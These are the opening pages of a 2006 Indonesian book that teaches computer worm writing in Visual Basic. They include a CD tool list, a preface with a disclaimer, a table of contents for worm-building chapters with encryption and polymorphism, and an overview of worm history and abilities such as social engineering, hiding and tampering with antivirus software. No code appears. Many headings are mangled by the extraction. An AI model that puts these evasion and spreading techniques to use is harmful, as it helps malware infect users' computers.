You are on page 1of 56

Hak Cipta dilindungi Undang-Undang.

Dilarang memperbanyak atau memindahkan


sebagian atau seluruh isi buku ini dalam bentuk apapun, baik secara elektronis maupun
mekanis, termasuk memfotocopy, merekam atau dengan sistem penyimpanan lainnya,
tanpa izin tertulis dari Penulis dan Penerbit.
I SBN 979- 1090- 01- 7
Cetakan pertama : Juli 2006
Computer Worm 1 - Secret of Underground Coding
Hak Cipta

2006 pada penulis


Ketentuanpidanapasal72UUNo.19tahun2002
1. Barangsiapadengansengajadantanpahakmelakukankegiatansebagaimanadimaksuddalampasal2ayat
(1)ataupasal49ayat(1)danayat(2)dipidanadenganpidanapenjarapalingsingkat1(satu)bulandan/atau
dendapalingsedikitRp.1.000.000(satujutarupiah)ataupidanapenjarapalinglama7(tujuh)tahundan/
ataudendapalingbanyakRp.5.000.000.000.00(limamiliarrupiah).
2. Barangsiapadengansengajamenyiarkan,memamerkan,mengedarkan,ataumenjualkepadaumumsuatu
CiptaanataubaranghasilpelanggaranHakCiptaatauHakTerkaitsebagaimanadimaksudpadaayat(1),dipi-
danadenganpidanapenjarapalinglama5(lima)tahundan/ataudendapalingbanyakRp.500.000.000,00
(limaratusjutarupiah)
Publisher
Jasakom
Web Site
http://www.jasakom.com/penerbitan
Email
admin@jasakom.com
Address
PO BOX 6179 JKB
0emptcr Nerm 1
8ccrct e| 01crqre1 0e1|q
Buku ini disertai dengan sebuah CD pendukung yang berisi flm
tutorial sehingga pembaca bukan saja hanya membaca buku tetapi
juga bisa melihat langsung teknik pembuatan suatu worm komputer,
kemudian kumpulan source code / listing code yang digunakan pada
buku dan beberapa program pendukung sebagai berikut:
0|H0N8|
VM Ware 55.9 MB
Virtual PC 17.1 MB
DeepFreeze 2.06 MB
ShadowUser 7.80 MB
ASPack 297 KB
UltraEdit 1.69 MB
|8||N8|
A Squared HijackFree 497 KB
CXUPX 419 KB
Darmals Packer 730 KB
DOS 7.10 765 KB
DropFile Script Generator 21.5 KB
HHD Hex Editor 2.07 MB
Icon Sucker Std 658 KB
KillBox 67,5 KB
Petite 117 KB
Process Explorer 1.24 MB
Registrar Lite 2.28 MB
Resource Hacker 1.32 MB
UPX 1.25 163 KB
UPX Mutanter 38.9 KB
UPX Scrambler 17.5 KB
UPX Windows GUI 199 KB
| 8 | 0 0 P | N 0 0 K 0 N 0
Jasakom
r
0
e
m
p

t
c
r

N
e
r
m

1


8
c
c
r
c
t

e
|

0

1
c
r
q
r
e

1

0
e
1
|

q
K P|N0N8
Puji syukur ke hadirat Allah SWT, atas berkat dan rahmat-Nya pula
sehingga penulis dapat menyelesaikan penulisan buku: Computer
Worm ini dengan baik. Hingga buku ini selesai ditulis, penulis belum
mendapatkan adanya buku yang khusus membahas mengenai worm
komputer baik dengan mengunjungi ke toko-toko buku secara langsung
maupun berkunjung secara online. Sedangkan hal ini sangat penting
sekali, terlebih pada saat buku ini disusun dimana perkembangan dan
tingkat penyebaran worm lokal di Indonesia sangat tinggi dan cende-
rung semakin mengganas.
Ironisnya banyak sekali pengguna komputer yang tidak mengerti per-
bedaan antara worm dan virus, sehingga worm seringkali diasumsikan
sebagai suatu virus komputer dan banyak pula yang berasumsi bahwa
worm merupakan suatu sub-class dari virus komputer, memang suatu
kesalahan umum sehingga penulispun terkadang menggunakan istilah
ini , lagipula penulis tidak berminat menjelaskan arti worm komputer
(yang akan berbuntut dengan penjelasan panjang lebar tentang per-
bedaannya dengan virus komputer) setiap kali penulis menyebutkan
istilah worm komputer , penulis berpendapat momen inilah yang
paling tepat untuk menjelaskannya kepada pembaca semua.
Buku ini bertujuan untuk menjelaskan kepada para pembaca, apa
sesungguhnya worm komputer itu, apa perbedaanya dengan virus
komputer, dan bagaimana worm tersebut diprogram.
Buku ini tidak hanya membahas tentang worm komputer saja, tetapi juga
memuat beberapa materi standar yang harus diketahui dalam rangka
membuat atau memerangi suatu worm komputer. Penulis berharap
buku ini dapat menambah pengetahuan bagi penggemar TI, system
administrator atau siapa saja yang selalu menggunakan komputer, dan
bukan untuk mengajari hal-hal negatif kepada para pemula, tapi seba-
| 8 | 0 0 P | N 0 0 K 0 N 0
Jasakom
r|
0
e
m
p

t
c
r

N
e
r
m

1


8
c
c
r
c
t

e
|

0

1
c
r
q
r
e

1

0
e
1
|

q
liknya memberi kesadaran kepada mereka yang senantiasa melakukan
hal-hal negatif untuk menghentikan tindakan negatif tersebut, lebih
baik lagi apabila mereka juga memberi kontribusi untuk menghentikan
perkembangan worm komputer dan malcode lainnya di bumi pertiwi
ini. Membahas pembuatan suatu worm memerlukan pengertian akan
tanggung jawab moral yang besar, karena worm komputer dapat
menimbulkan dampak yang sangat fatal dan merugikan maka penulis
sangat mengharapkan kebaikan moral para pembaca, selain itu penulis
tidak bertanggung jawab apabila ada penyalahgunaan atas informasi,
script atau program-program yang disertakan bersama buku ini.
Dalam kesempatan ini, penulis mengucapkan terima kasih kepada
kedua orang tua penulis, seluruh dosen POLNES (Politeknik Negeri
Samarinda) khususnya untuk Bapak Ruslan Ardi dan Bapak Arkas
Viddy, kemudian salam penulis untuk alumni SMK Negeri 1 Tarakan
angkatan 95 98, dan alumni POLNES angkatan 98 2001, salam juga
untuk teman-teman di AMIK PPKIA Tarakan. Tidak lupa pula penulis
mengucapkan terima kasih kepada penerbit Jasakom yang berkenan
menerbitkan buku ini, special thanks buat Sto yang sudah banyak
membantu dalam proses pembentukan buku.
Akhir kata penulis penulis menyadari adanya kekurangan-kekurangan
pada buku ini, maka dengan tidak merendahkan diri, penulis meng-
harapkan kritik dan saran yang bersifat membangun, untuk itu silah-
kan kirim e-mail Anda ke alamat e-mail penulis di: achmad_darmal@
yahoo.com.sg, dengan subjek: worm komputer (untuk menghindari
spam mail, penulis membuat agar e-mail dengan subjek lain akan
segera dihapus secara otomatis).
"Dengan mengetahui, mengerti dan menguasai teknik
pembuatan suatu virus, worm atau malcode lainnya,
sesungguhnya sudah tidak dibutuhkan tutorial lain
untuk memeranginya."
Jasakom
r||
0
e
m
p

t
c
r

N
e
r
m

1


8
c
c
r
c
t

e
|

0

1
c
r
q
r
e

1

0
e
1
|

q
0z|tzr |r|
KATA PENGANTAR v
BAB 1 PENDAHULUAN 1
BAB 2 MENGENAL WORM 5
2.1 ASAL MULA WORM KOMPUTER 6
2.2 PERBEDAAN WORM DAN VIRUS 8
2.3 KEMAMPUAN DASAR WORM 9
2.3.1 KEMAMPUAN REPRODUKSI DAN DISTRIBUSI 9
2.3.2 KEMAMPUAN REKAYASA SOSIAL 9
2.3.3 KEMAMPUAN MENYEMBUNYIKAN DIRI 10
2.3.4 KEMAMPUAN MENDAPATKAN INFORMASI 10
2.3.5 KEMAMPUAN MENGADAKAN MANIPULASI 10
2.4 SIKLUS HIDUP WORM 11
2.4.1 PROPAGATION PHASE ( FASE PENYEBARAN ) 11
2.4.2 DORMANT PHASE ( FASE ISTIRAHAT/TIDUR ) 11
2.4.3 TRIGERRING PHASE ( FASE AKTIF ) 11
2.4.4 EXECUTION PHASE ( FASE EKSEKUSI ) 11
2.5 PERKEMBANGAN WORM NON LOKAL 12
2.5.1 CHRISTMA EXEC 12
2.5.2 MORRIS 12
2.5.3 HAPPY99 13
2.5.4 MELISA 13
2.5.5 PRETTY PARK 14
2.5.6 EXPLORE ZIP 14
2.5.7 BUBBLE BOY 15
2.5.8 LOVE LETTER 16
2.5.9 HYBRIS 16
Jasakom
r|||
0
e
m
p

t
c
r

N
e
r
m

1


8
c
c
r
c
t

e
|

0

1
c
r
q
r
e

1

0
e
1
|

q
2.5.10 ANNA KOURNIKOVA 17
2.5.11 SADMIND 17
2.5.12 CODE RED 17
2.5.13 NIMDA 18
2.5.14 BADTRANS.B 19
2.5.15 KLEZ 20
2.5.16 SLAMMER 21
2.5.17 BAGLE 21
2.5.18 NETSKY 22
2.6 PERKEMBANGAN WORM LOKAL 22
2.6.1 I-WORM PERKASA 22
2.6.2 PESIN 23
2.6.3 TABARU 23
2.6.4 KANGEN 24
2.6.5 KUMIS 24
2.6.6 DECOIL 25
2.6.7 RONTOKBRO 25
2.6.8 NOBRON 25
2.6.9 RUNITIS 26
2.6.10 BLUEFANTASY 26
2.6.11 ROMDIL 27
2.6.12 MYBRO 27
2.6.13 IRCBOT.AQF 28
2.6.14 LIGHTMOON 28
BAB 3 REGISTRY WINDOWS 29
3.1 STRUKTUR REGISTRY 30
3.1.1 HIVE 31
3.1.2 VALUE 31
3.2 REGISTRY EDITOR (REGEDIT) 32
3.2.1 MEMBUKA APLIKASI REGISTRY EDITOR 32
3.2.2 LINGKUNGAN KERJA REGISTRY EDITOR 33
Jasakom
|x
0
e
m
p

t
c
r

N
e
r
m

1


8
c
c
r
c
t

e
|

0

1
c
r
q
r
e

1

0
e
1
|

q
3.3 OPERASI DASAR REGISTRY EDITOR 33
3.3.1 BACKUP & RESTORE REGISTRY 34
3.3.2 EXPORT & IMPORT DATA REGISTRY 35
3.3.3 MANIPULASI KEY & VALUE 35
3.3.4 PENCARIAN TEKS PADA KEY, VALUE ATAU DATA 37
3.3.5 MENGGUNAKAN PERINTAH BARIS (COMMAND LINE) 38
3.3.6 MEMANFAATKAN FILE REG 39
BAB 4 MENGENAL VISUAL BASIC 6.0 41
4.1 LINGKUNGAN KERJA VISUAL BASIC 42
4.1.1 MENUBAR 43
4.1.2 TOOLBAR 43
4.1.3 PROJECT EXPLORER 43
4.1.4 PROPERTIES WINDOWS 44
4.1.5 FORM LAYOUT WINDOW 44
4.1.6 TOOLBOX 44
4.1.7 FORM WINDOW 45
4.1.8 CODE WINDOW 45
4.2 PEMBUATAN APLIKASI 46
4.2.1 MEMBUAT PROYEK 46
4.2.2 MENYISIPKAN CONTROL 47
4.2.3 SETTING PROPERTIES 47
4.2.4 MENGETIK KODE PROGRAM 47
4.2.5 MENYIMPAN PROGRAM 48
4.2.6 MENJALANKAN PROGRAM 48
4.2.7 KOMPILASI PROGRAM MENJADI EXE 49
BAB 5 OBJECT FORM DAN CONTROL 51
5.1 FORM 53
5.2 KONTROL 54
5.2.1 PICTUREBOX 55
5.2.2 LABEL 56
5.2.3 TEXTBOX 57
Jasakom
x
0
e
m
p

t
c
r

N
e
r
m

1


8
c
c
r
c
t

e
|

0

1
c
r
q
r
e

1

0
e
1
|

q
5.2.4 FRAME 58
5.2.5 COMMANDBUTTON 58
5.2.6 CHECKBOX 59
5.2.7 OPTIONBUTTON 60
5.2.8 COMBOBOX 61
5.2.9 LISTBOX 62
5.2.10 HSCROLLBAR 63
5.2.11 VSCROLLBAR 64
5.2.12 TIMER 65
5.2.13 DRIVELISTBOX 66
5.2.14 DIRLISTBOX 66
5.2.15 FILELISTBOX 67
5.2.16 SHAPE 68
5.2.17 LINE 69
5.2.18 IMAGE 69
5.2.19 DATA 70
5.2.20 OLE 71
BAB 6 KODE PROGRAM 73
6.1 VARIABEL 74
6.1.1 IMPLICIT 75
6.1.2 EXPLICIT 76
6.2 STATEMENTS AND EXPRESSIONS 77
6.3 OPERATOR 78
6.3.1 OPERATOR PENUGASAN (ASSIGNMENT) 78
6.3.2 OPERATOR ARITMATIKA 78
6.3.3 OPERATOR KOMPARASI 79
6.3.4 OPERATOR LOGIKA 80
6.4 PERCABANGAN (BRANCHING) 81
6.4.1 PERCABANGAN IF/THEN/ELSE 81
6.4.2 PERCABANGAN SELECT CASE 82
6.4.3 PERCABANGAN GOSUB/RETURN 83
6.4.4 PERCABANGAN GOTO 83
6.4.5 PERCABANGAN ON ERROR 84
Jasakom
x|
0
e
m
p

t
c
r

N
e
r
m

1


8
c
c
r
c
t

e
|

0

1
c
r
q
r
e

1

0
e
1
|

q
6.5 PENGULANGAN (LOOPING) 85
6.5.1 DO WHILE/LOOP 85
6.5.2 DO UNTIL/LOOP 85
6.5.3 DO/LOOP WHILE 85
6.5.4 DO/LOOP UNTIL 86
6.5.5 FOR/NEXT 86
6.6 PENGHENTIAN (TERMINATING) 87
6.6.1 END 87
6.6.2 EXIT 87
6.6.3 STOP 88
6.7 ARRAY 88
6.7.1 DEKLARASI DENGAN VARIABEL TUNGGAL 88
6.7.2 DEKLARASI DENGAN KEYWORD TO 89
6.8 PENANGANAN FILE 90
6.8.1 MENGUBAH NAMA DAN MEMINDAH FILE 90
6.8.2 MEMBUAT SALINAN / MENG-COPY FILE 91
6.8.3 MENGHAPUS FILE 91
6.8.4 MELIHAT DAN MENGUBAH ATRIBUT PADA FILE 92
6.8.5 MENGETAHUI BESAR FILE 93
6.8.6 MENGETAHUI TANGGAL DAN WAKTU FILE 94
6.8.7 MENGETAHUI DRIVE DAN DIREKTORI AKTIF 94
6.8.8 MENGATUR DRIVE AKTIF 95
6.8.9 MENGATUR DIREKTORI AKTIF 95
6.8.10 MEMBUAT DIREKTORI BARU 96
6.8.11 MENGHAPUS DIREKTORI 96
6.8.12 MENGUBAH NAMA DIREKTORI 97
6.9 OPERASI FILE TEXT 97
6.9.1 MEMBUAT FILE TEXT 97
6.9.2 MEMBACA FILE TEXT 98
6.10 OPERASI FILE BINARY 99
6.10.1 MEMBUAT FILE BINARY 99
6.10.2 MEMBACA FILE BINARY 100
6.11 FILE SYSTEM OBJECT (FSO) 101
Jasakom
x||
0
e
m
p

t
c
r

N
e
r
m

1


8
c
c
r
c
t

e
|

0

1
c
r
q
r
e

1

0
e
1
|

q
BAB 7 WORM WSar.1 103
7.1 WORM DASAR 1 105
7..2 ALGORITMA 106
7.3 PEMROGRAMAN 106
BAB 8 WORM WSar.2 117
8.1 ALGORITMA 117
8.2 PEMROGRAMAN 118
BAB 9 WORM WSar.3 125
9.1 ALGORITMA 125
9.2 PEMROGRAMAN 126
BAB 10 WORM WSar.4 135
10.1 ALGORITMA 135
10.2 PEMROGRAMAN 136
BAB 11 WORM WSar.5 151
11.1 ALGORITMA 152
11.2 PEMROGRAMAN 153
BAB 12 WORM WSar.6 165
12.1 ALGORITMA 166
12.2 PEMROGRAMAN 166
BAB 13 WORM WSar.7 179
13.1 COMPARISON METHODE 180
13.2 ALGORITMA 191
13.3 PEMROGRAMAN 191
Jasakom
x|||
0
e
m
p

t
c
r

N
e
r
m

1


8
c
c
r
c
t

e
|

0

1
c
r
q
r
e

1

0
e
1
|

q
BAB 14 WORM WSar.8 207
14.1 WATCHER METHODE 208
14.2 ENCRYPTION METHODE 209
14.3 POLYMORPHIC METHODE 212
14.4 ALGORITMA 214
14.5 PEMROGRAMAN 215
BAB 15 WORM WSar.9 243
15.1 DROP FILE METHODE 244
15.2 ALGORITMA 250
15.3 PEMROGRAMAN 251
1
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored

B
a
b

1
.

P
e
n
d
a
h
u
l
u
a
n
88 1
P|N000|0N
S
eiring dengan pesatnya kemajuan teknologi informasi khususnya
dibidang teknologi komputer dan jaringan, keamanan menjadi
isu yang kerap kali dibahas, mulai dari ancaman langsung para
cracker atau hacker jahat hingga ancaman yang dilakukan melalui
suatu program yang disebut malcode (malicious code). Suatu program
atau script apapun yang bersifat merusak atau merugikan dapat
dikategorikan sebagai malcode termasuk virus komputer, worm atau
trojan horse.
Maraknya penyebaran virus, worm atau trojan horse, ternyata semakin
memberikan semangat bagi para pembuat worm lokal untuk terus
berkarya. Di Indonesia sendiri worm lokal mulai menunjukan aktiftas
yang cukup signifkan di awal era millenium, pada tahun 2003 peng-
guna komputer di Indonesia disibukkan oleh sebuah worm lokal yang
diperkirakan berhasil menginfeksi ribuan komputer di Indonesia.
t
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored

B
a
b

1
.

P
e
n
d
a
h
u
l
u
a
n
Worm ini kemudian oleh salah satu perusahaan antivirus terkenal
diberi nama w32/pesin.worm.gen, bersamaan dengan munculnya
varian-varian worm Pesin yang baru, ikut muncul sejumlah worm
lokal lainnya seperti diberitakan sebuah situs Indonesia yang konsen
terhadap malcode, www.vaksin.com.
Bahkan pada saat buku ini ditulis, aktiftas worm di Indonesia semakin
meningkat, terbukti dari sejumlah forum, penulis menemukan beberapa
posting yang menunjukan adanya gejala-gejala penyebaran worm lokal
yang baru. Motif yang digunakan semakin beragam, mulai dari hanya
sekedar "pamer", sampai dengan pengrusakan dan pencurian data.
Media penyebaran pun semakin canggih mulai dari disket, USB fash
disk sampai dengan jaringan termasuk internet. Namun satu hal yang
pasti, penyebaran worm tersebut telah membawa dampak yang cukup
besar bagi para pengguna komputer baik materiil maupun non mate-
riil.
Penulis berharap buku ini dapat menambah pengetahuan bagi pengge-
mar TI, system administrator atau siapa saja yang selalu menggunakan
komputer, dan bukan untuk mengajari hal-hal negatif kepada para
pemula, tapi sebaliknya memberi kesadaran kepada mereka yang
senantiasa melakukan hal-hal negatif untuk menghentikan tindakan
negatif tersebut. Lebih baik lagi apabila mereka juga memberi kontri-
busi untuk menghentikan perkembangan worm komputer dan malcode
lainnya di bumi pertiwi ini.
Buku ini akan menunjukan bagaimana seorang worm writer membuat
suatu worm komputer, dan bagaimana memerangi worm tersebut
dengan cara yang nyaris sama. Secara umum buku ini akan membi-
carakan tujuh hal bidang utama, yaitu:
1. Mengenal worm komputer
2. Menggunakan registry pada Microsoft Windows
3. Menggunakan Visual Basic 6.0
4. Pemrograman worm komputer
5. Membuat program removal
6. Pemrograman virus komputer
7. Kompresi dengan UPX
8
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored

B
a
b

1
.

P
e
n
d
a
h
u
l
u
a
n
Buku ini juga disertai sebuah CD yang berisi video tutorial untuk
menambah pemahaman Anda dalam mempelajari buku ini, kemudian
kumpulan source code yang digunakan sebagai latihan dan beberapa
program-program pendukung.
Perlu Anda ketahui bahwa seluruh software tersebut berlisensi free-
ware (gratis) dan freetrial (gratis coba) sehingga Anda tidak dikenakan
biaya apapun untuk software tersebut kecuali biaya CD dan ongkos
pembuatannya, penulis tak lebih hanya men-download-kannya untuk
Anda.
Membahas pembuatan suatu worm memerlukan pengertian akan tang-
gung jawab moral yang besar, karena worm komputer dapat menim-
bulkan dampak yang sangat fatal dan merugikan maka penulis sangat
mengharapkan kebaikan moral para pembaca. Selain itu, penulis tidak
bertanggung jawab apabila ada penyalahgunaan atas informasi, script
atau program-program yang disertakan bersama buku ini.
"Dengan mengetahui, mengerti dan menguasai teknik
pembuatan suatu virus, worm atau malcode lainnya,
sesungguhnya sudah tidak dibutuhkan tutorial lain
untuk memeranginya."
5
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored

B
a
b

2
.

M
e
n
g
e
n
a
l

W
o
r
m
88 t
H|N0|N| N08H
Kenapa bab ini ada?
Seorang administrator sistem bisa dengan cepat mengetahui
apabila suatu worm yang sama menginfeksi sebuah sistem
dengan melihat gejala yang ditimbulkan. Selain itu untuk
membuat suatu program removal juga diperlukan pengetahuan
tentang worm, dan pengetahuan tersebut bisa berupa teori,
sejarah perkembangan atau catatan singkat tentang worm
yang pernah ada.
8
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored

B
a
b

2
.

M
e
n
g
e
n
a
l

W
o
r
m
t.1 8| H0| N08H K0HP0|8
G
agasan worm dan virus berawal pada tahun 1949, saat seorang
founder Electronic Discrete Variable Automatic Computer
(EDVAC), John Von Newman, memaparkan dalam sebuah
papernya yang berjudul "Theory and Organization of Complicated
Automata", dibahas suatu kemungkinan bahwa suatu program dapat
melakukan penyebaran dengan sendirinya.
Kemudian pada tahun 1960-an, para peneliti AT&T Bell Laboratory
membuat semacam permainan dengan menciptakan suatu program
yang dapat memusnahkan program ciptaan lawan, dan mampu ber-
tahan terhadap serangan program lawan lainnya.
Pada akhirnya si-pemenang adalah pemilik program yang tersisa paling
banyak. Para peneliti sadar akan bahaya program tersebut, maka setiap
selesai permainan program tersebut selalu dimusnahkan.
Cikal bakal program worm pertama kali dibuat oleh Bob Thomas pada
tahun 1971. Program ini merupakan solusi dari kebutuhan system
kendali lalu lintas udara.
Program ini akan membantu mengingatkan operator apabila
pengendalian suatu pesawat udara berpindah dari satu komputer ke
komputer lainnya. Sesungguhnya program yang disebut "creeper" ini
hanya berpindah dari layar ke layar pada jaringan, dengan menampil-
kan pesan "Im creeper! Catch me if you can!". Tetapi program creeper
tidak mereproduksi dirinya sendiri, hingga beberapa programmer lain
mencoba membuat program serupa, tetapi gagasan tersebut berang-
sur-angsur hilang dalam beberapa bulan kemudian.
Istilah "virus" mungkin sudah tidak asing terdengar, dapat dikatakan
hampir setiap orang yang mengenal komputer juga mengenal istilah
ini, sementara istilah "worm" tidak begitu dikenal, padahal istilah ini
diciptakan oleh John Shoch dan Jon Hupp di Xerox PARC (Palo Alto
Research Centre) pada tahun 1979 sebelum istilah virus komputer
dipublikasikan.
Istilah worm ini ternyata diilhami oleh suatu program "tapeworm"
(cacing pita) dalam sebuah novel fksi ilmiah karangan John Brun-
ner yang berjudul "The Shockwave Rider", yang mengisahkan suatu
I
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored

B
a
b

2
.

M
e
n
g
e
n
a
l

W
o
r
m
pemerintahan totaliter yang mengendalikan warga negaranya melalui
suatu jaringan komputer.
Untuk memerangi hal itu akhirnya seorang pahlawan dalam novel
tersebut kemudian memenuhi jaringan dengan suatu program yang
disebut "tapeworm" sehingga memaksa mematikan jaringan komputer
yang secara otomatis juga menghilangkan kendali pemerintah terha-
dap warga negaranya.
Kemudian diawal tahun 1980 John Shoch dan Jon Hupp mengadakan
sebuah penelitian dengan mengembangkan lima buah program worm,
masing-masing worm dibuat dengan tujuan tertentu yang membantu
jaringan disekitarnya.
Beberapa worm terlihat sederhana, seperti worm "town crier" yang
bertugas memasuki jaringan hanya untuk menampilkan pengumu-
man. Worm lainnya terlihat lebih kompleks dan pintar, seperti worm
"vampire".
Worm ini tidak akan melakukan kegiatan pada siang harinya, tetapi saat
malam hari worm akan melakukan suatu kegiatan tertentu yang telah
terprogram sebelumnya, ini berguna untuk memanfaatkan komputer
yang tidak bekerja pada malam hari dengan memberikan tugas yang
kompleks dan memerlukan daya proses yang lebih. Saat fajar, worm
akan menghentikan pekerjaannya dengan terlebih dahulu menyimpan
seluruh pekerjaan yang dilakukannya malam itu dan menunggu sore
berikutnya.
Walau bagaimanapun, walaupun program ini berguna tapi disadari
bahwa program ini juga akan sangat berbahaya apabila salah digu-
nakan. Hal ini terbukti saat sebuah worm mengalami malfungsi pada
suatu malam dan keesokan harinya para pekerja menemukan seluruh
komputer yang ada pada jaringan tersebut mengalami crash (suatu
kerusakan dimana system output dan input tidak berfungsi).
Lebih dari itu saat komputer dihidupkan kembali, worm malfungsi
tersebut kembali membuat komputer crash. Pada akhirnya dibuat
semacam vaksin untuk mencegah worm tersebut, dan mulai saat itu
penelitian terhadap worm tersebut ditutup untuk umum.
8
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored

B
a
b

2
.

M
e
n
g
e
n
a
l

W
o
r
m
t.t P|88|0N N08H 0N V|808
Istilah "virus" selalu digunakan sebagai suatu acuan umum untuk
setiap malcode (program atau script yang dibuat dengan tujuan mem-
bahayakan atau merugikan sebuah system komputer), seperti worm,
trojan bahkan hoax yang sesungguhnya bukan sebuah virus komputer,
berikut adalah beberapa jenis malcode tersebut:
1. Computer virus: merujuk pada program yang memiliki kemam-
puan untuk ber- reproduksi, menulari program lain dan menjadi-
kan fle-fle program tertular sebagai fle infector.
2. Computer worm: merujuk pada program independen yang
memiliki kemampuan untuk ber-reproduksi, menulari system
komputer dan walaupun mampu untuk menulari program lain
namun tidak bertujuan untuk menjadikan fle tertular tersebut
sebagai suatu fle infector.
3. Trojan horse: merujuk pada program independen yang tampaknya
berguna, dan ketika dieksekusi, tanpa sepengetahuan pengguna,
juga melaksanakan fungsi-fungsi yang bersifat destruktif dan
merugikan.
4. Malicious toolkits: merujuk pada program yang didesain untuk
membantu menciptakan program-program yang dapat memba-
hayakan sebuah system komputer. Contoh dari program jenis
ini adalah tool pembuat virus dan program yang dibuat untuk
membantu proses cracking atau hacking.
Dari beberapa keterangan diatas dapat diperjelas bahwa worm adalah
suatu algoritma atau program yang mereproduksi diri sendiri dari
system ke system dengan menggunakan media penyimpanan atau
suatu jaringan.
Worm tidak menginfeksi fle program lain dengan tujuan menjadikan
fle terinfeksi tersebut sebagai fle infector. Worm mampu bekerja
8
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored

B
a
b

2
.

M
e
n
g
e
n
a
l

W
o
r
m
tanpa interaksi user, bisa merusak sebuah data secara langsung atau
menurunkan kinerja system dengan "mengikat" sumber daya system
komputer dan bahkan bisa mematikan sebuah jaringan. Berbeda
dengan virus yang melakukan infeksi dengan 'menumpang pada fle
program lain, menunggu interaksi user dan menjadikan fle terinfeksi
sebagai fle infector.
t.8 K|HHP0N 088 N08H
Worm umumnya memiliki kemampuan-kemampuan dasar berikut
ini:
2.3.1 KEMAMPUAN REPRODUKSI DAN DISTRIBUSI
Yaitu kemampuan yang mutlak dimiliki suatu worm untuk membuat
salinan dirinya, sekaligus mendistribusikan salinan tersebut pada
system yang lain baik melalui media penyimpanan seperti disket,
USB fash disk maupun melalui suatu jaringan komputer. Walaupun
memiliki rutin untuk menginfeksi program lain namun tidak bertujuan
menjadikan fle program terinfeksi menjadi suatu fle infector.
Pada awalnya worm dibuat dengan aksi memenuhi harddisk dan
jaringan, namun seiring dengan perkembangan teknologi informasi
hal ini akhirnya banyak ditinggalkan worm writer karena malah akan
mengurangi kemampuannya untuk menyembunyikan diri, yang akan
berakibat worm tersebut cepat "terendus" oleh advanced user atau
bahkan perusahaan-perusahaan antivirus.
2.3.2 KEMAMPUAN REKAYASA SOSIAL
Karena fle infector worm akan aktif saat user mengeksekusinya maka
social engineering atau rekayasa sosial menjadi hal yang sangat penting
bagi suatu worm.
10
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored

B
a
b

2
.

M
e
n
g
e
n
a
l

W
o
r
m
Layaknya seorang penjual yang mati-matian merayu calon pembeli
maka worm akan 'merias programnya dengan icon dan nama yang
sangat memikat agar user mengeksekusinya. Suatu worm bisa saja
membuat salinan dirinya dengan nama fle 'porno dan dengan gambar
icon yang sangat tidak mencurigakan.
2.3.3 KEMAMPUAN MENYEMBUNYIKAN DIRI
Menjaga tetap tidak diketahui adalah penting untuk worm jaman seka-
rang agar tetap bertahan pada suatu system. Hal ini biasanya dilaku-
kan dengan cara tidak menampilkan sesuatu dari worm baik berupa
suara maupun tampilan visual, menyembunyikan program worm dari
taskbar bahkan dari jendela tasklist.
2.3.4 KEMAMPUAN MENDAPATKAN INFORMASI
Suatu worm harus bisa mendapatkan informasi yang ia butuhkan,
seperti jenis sistem operasi yang digunakan, direktori root, direktori
System Windows bahkan worm umumnya memeriksa suatu system
apakah telah terpasang antivirus atau tidak, lebih jauh lagi worm akan
berusaha mengenali jenis antivirus yang terpasang.
2.3.5 KEMAMPUAN MENGADAKAN MANIPULASI
Umumnya manipulasi dilakukan oleh worm untuk bertahan hidup,.
Worm cenderung mengadakan manipulasi pada registry agar worm
bisa tetap aktif saat komputer dihidupkan, bahkan memanipulasi reg-
istry milik suatu antivirus agar tidak mengganggu worm tersebut. Tapi
worm bisa saja mengadakan manipulasi yang terlepas dari tujuan tadi,
seperti mengubah volume label pada harddisk atau disket.
11
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored

B
a
b

2
.

M
e
n
g
e
n
a
l

W
o
r
m
t.1 8|K|08 0|00P N08H
Siklus hidup worm secara umum, melalui 4 tahap:
2.4.1 PROPAGATION PHASE ( FASE PENYEBARAN )
Pada fase ini worm akan membuat salinan dirinya ke suatu tempat,
baik pada media penyimpanan fx disk (tetap) atau removable disk
(dapat dipindahkan), adapun penyebarannya dapat dilakukan pada
system lokal, jaringan atau internet.
2.4.2 DORMANT PHASE ( FASE ISTIRAHAT/TIDUR )
Pada fase ini worm tidaklah aktif. Worm akan diaktifkan oleh suatu
kondisi tertentu, semisal: tanggal yang ditentukan, kehadiran program
lain/dieksekusinya program lain, dan sebagainya. Tidak semua worm
melalui fase ini.
2.4.3 TRIGERRING PHASE ( FASE AKTIF )
Di fase ini worm tersebut akan aktif dan menetap pada memory, hal ini
dipicu oleh metode launcher yang digunakan worm tersebut.

2.4.4 EXECUTION PHASE ( FASE EKSEKUSI )
Pada fase inilah worm yang telah aktif tadi akan melakukan fungsinya.
Seperti menghapus fle, menampilkan pesan-pesan dan sebagainya.
1t
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored

B
a
b

2
.

M
e
n
g
e
n
a
l

W
o
r
m
t.5 P|8K|H8N0N N08H N0N |0K|
Berikut ini beberapa catatan singkat tentang worm yang pernah ada
dan membuat banyak kerugian para pengguna komputer.
2.5.1 CHRISTMA EXEC
Pada tanggal 9 Desember 1987, worm "Christma Exec" menjadi worm
pertama yang mampu menyebar dengan menggunakan media e-mail
diantara komputer mainframe IBM. Worm ini juga menjadi contoh
penggunaan social engineering, dengan mengajak user untuk mengek-
sekusi worm tersebut dengan dalih akan menampilkan gambar pohon
natal.
Worm tersebut memang menghasilkan gambar pohon natal pada
layar monitor (digambar dengan menggunakan bahasa script yang
disebut Rexx), tetapi worm tersebut juga mengirimkan salinan dirinya
dengan menggunakan nama user kepada setiap nama yang ada pada
daftar e-mail penerima, sehingga penerima percaya bahwa e-mail yang
dikirimkan tersebut adalah benar dari user yang dikenal dan bersedia
membukanya.
2.5.2 MORRIS
Pada tanggal 2 Nopember 1988, worm Morris yang terkenal pada
waktu itu berhasil melumpuhkan 6.000 komputer dalam beberapa jam.
Worm tersebut dibuat oleh seorang siswa Cornell, Robert Morris Jr.
Kemudian diadakan penyelidikan, sampai akhirnya Morris dijatuhkan
hukuman pada tahun 1990.
Kesimpulan yang diperoleh adalah motivasi dalam menulis worm
tersebut tidak diketahui dan worm tidak diprogram untuk sengaja
